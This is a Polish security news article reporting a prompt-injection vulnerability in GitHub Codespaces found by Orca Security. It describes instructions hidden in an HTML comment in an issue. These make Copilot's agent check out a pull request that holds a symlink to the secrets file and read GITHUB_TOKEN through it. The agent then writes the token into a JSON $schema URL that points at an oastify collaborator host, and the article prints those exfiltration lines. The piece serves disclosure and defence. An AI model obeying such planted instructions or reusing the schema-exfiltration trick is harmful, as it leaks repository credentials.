Konferencja Mega Sekurak Hacking Party w Krakowie – 26-27 października!
Adminie… Czy znamy Twoje grzechy? ;-) Sprawdź!
Konferencja Mega Sekurak Hacking Party w Krakowie – 26-27 października!
Adminie… Czy znamy Twoje grzechy? ;-) Sprawdź!
Badacze z Orca Security odkryli podatność prompt injection w GitHub Codespaces. Pozwoliło to w opisie (w ramach issues) przekazać modelowi złośliwe instrukcje i przy pomocy kilku narzędzi wykraść token wygenerowany dla danego środowiska. W efekcie umożliwiło to przejęcie kontroli nad repozytorium.
GitHub Issues to narzędzie do śledzenia zadań, błędów i innych zgłoszeń w obrębie repozytorium. Deweloperzy mogą komentować, kategoryzować i przydzielać sobie poszczególne zgłoszenia, co ułatwia zarządzanie pracą nad projektem. Z kolei Codespaces to chmurowe środowisko programistyczne wykorzystujące Visual Studio Code oraz integrację z GitHub Copilot.
Środowisko w ramach Codespaces można uruchomić dla repozytorium, pull requesta, ale też issue. W dwóch pierwszych przypadkach Codespace budowany jest na podstawie plików odpowiedniej wersji/commita. Natomiast trzecia opcja powoduje dodatkowo przekazanie do środowiska (w tym do Copilota) opisu tworzonego issue.

Na pierwszy rzut oka treść nie wzbudza podejrzeń, ale co jeśli atakujący wstawi tam własne instrukcje dla Copilota? Badacze pokazali taki przykład:
It would be great to add a dark mode toggle for the dashboard. Users could switch between light and dark themes in settings, with their preference saved across sessions. This would improve accessibility and reduce eye strain during night-time use. |
Listing 1 – pierwszy “złośliwy” opis, źródło: orca.security


W Visual Studio Code można skonfigurować (ustawienie json.schemaDownload.enable) automatyczne pobieranie schematów w celu zapewnienia odpowiedniej walidacji dla plików JSON. Ta opcja jest domyślnie włączona w Codespaces, co czyni je ciekawym sposobem na wysłanie wykradzionej zawartości na serwer atakującego.
Gdy plik JSON zawiera właściwość $schema, VS Code wysyła żądanie w celu pobrania odpowiedniego schematu. Przykładowo, dla takiego pliku spowoduje to wysłanie żądania do Burp Suite Collaborator (serwer dostarczany przez Burp do testowania aplikacji):
| {“$schema”: “https://lrgek9kbeqnqm9dfdxrv3kodj4pvdl1a[.]oastify[.]com”} |
Listing 2 – plik JSON, źródło: orca.security

Atakujący mogą to wykorzystać, dołączając dane, które chcą wyeksfiltrować, bezpośrednio do URL schematu z osadzonymi parametrami GET.
{"$schema": "https://lrgek9kbeqnqm9dfdxrv3kodj4pvdl1a[.]oastify[.]com?data=EXFIL"} |
Listing 3 – taki sam plik, ale w adresie URL dodatkowe dane, źródło: orca.security

Dla każdego Codespace GitHub generuje token uwierzytelniający, który przechowywany jest w zmiennej środowiskowej GITHUB_TOKEN. Zazwyczaj jest on ograniczony do repozytorium, w którym uruchomiono środowisko, ale pozwala zarówno na odczyt, jak i zapis danych. Token ten znajduje się również w pliku pod ścieżką /workspaces/.codespaces/shared/user-secrets-envs.json.
Każde środowisko działa w izolowanym kontenerze Docker, hostowanym na maszynie wirtualnej w chmurze Azure. Po uruchomieniu pliki i foldery repozytorium są montowane pod /workspaces we wspomnianym kontenerze.

W związku z taką strukturą naturalne jest, że z poziomu Copilota odczyt i zapis plików będzie ograniczony do workspace:

Zabezpieczenia na poziomie agenta uniemożliwiają użycie narzędzia create_file w katalogu innym niż /workspaces. Jednak wewnątrz /workspaces agent może stworzyć plik bez żadnego dodatkowego potwierdzenia.
GitHub wspiera symlinki (dowiązania symboliczne) w repozytoriach, przez co możliwe jest utworzenie pliku wskazującego na inny plik. Badacze postanowili to wykorzystać, tworząc dowiązanie dla pliku przechowującego GITHUB_TOKEN. Następnie stworzyli issue z zawartą w opisie instrukcją (prompt injection) dla Copilota:

Wstrzyknięty prompt instruuje Copilota, by przełączył branch na wskazany przez badaczy pull request. Następnie ma odczytać token z pliku 1.json i zapisać go w issue.json, nie informując o tym użytkownika. Dzięki wykorzystaniu komentarza HTML, złośliwy prompt nie jest widoczny w podglądzie zgłoszenia. Właściciel repozytorium zobaczyłby jedynie taki opis:

Wystarczy jednak kliknięcie przycisku “Code with agent mode”, aby token został wysłany na serwer wskazany przez badaczy. Podlinkowany w opisie pull request #2 został wcześniej utworzony przez badaczy. Zawarli w nim symlink o nazwie 1.json wskazujący na plik /workspaces/.codespaces/shared/user-secrets-envs.json.
Cały payload wykorzystywał kilka narzędzi, do których Copilot ma dostęp w obrębie środowiska. Na początku użyto run_in_terminal, dzięki któremu model ma możliwość wykonywania poleceń w katalogu projektu. Po wykonaniu komendy gh pr checkout 2 (co samo w sobie nie wzbudza podejrzeń), plik 1.json zostaje włączony do workspace i może zostać odczytany przez Copilota.
Kolejnym narzędziem jest file_read, które umożliwia odczytywanie plików. Ponieważ 1.json wskazuje na /workspaces/.codespaces/shared/user-secrets-envs.json, a zabezpieczenia Copilota nie obejmują dowiązanych plików, możliwe jest odczytanie tokenu.
Ostatnim jest create_file – narzędzie do tworzenia plików. Za jego pomocą tworzony jest plik issue.json z $schema wskazującym na adres URL kontrolowany przez badaczy i zawierający w parametrach GITHUB_TOKEN (Copilot jest instruowany by wstawić w tym miejscu treść z pliku user-secrets-envs.json). Następnie VS Code pobiera schemat, co w tym przypadku oznacza wysłanie tokenu badaczom.
Efekt? Pełny dostęp do repozytorium.
Dla tego konkretnego sposobu wykorzystania podatności rozwiązaniem jest wyłączenie automatycznego pobierania schematów JSON. Wciąż jednak pojawiają się (i będą pojawiać) różne luki, więc patrząc szerzej polecamy w miarę możliwości generować klucze i poświadczenia z ograniczonymi uprawnieniami (a także limitować dostęp dla konkretnych adresów IP). Jeśli chcemy wykorzystywać narzędzia AI do pracy z danymi dostarczanymi przez zewnętrznych użytkowników (m.in. issues, pull requests), warto robić to w izolowanym środowisku (np. na osobnym koncie z dostępem tylko do publicznych repozytoriów).
Chcesz ogarnąć niezbędne umiejętności dotyczące AI w 2026 roku i tym samym nie zostać w tyle? Właśnie wystartowała kolejna edycja szkolenia z Tomkiem Turbą – Narzędziownik AI 2.0 Reloaded! To najbardziej kompletne szkolenie z AI w Polsce. Składa się z aż czternastu sesji, trwających po dwie godziny każda. Szkolenie na żywo, z dostępem do nagrania na zawsze. Skorzystaj z linku i zamów ze zniżką. Możesz też dołączyć do edycji kwietniowej, wszystko w linku poniżej.
Źródło: orca.security
~Tymoteusz Jóźwiak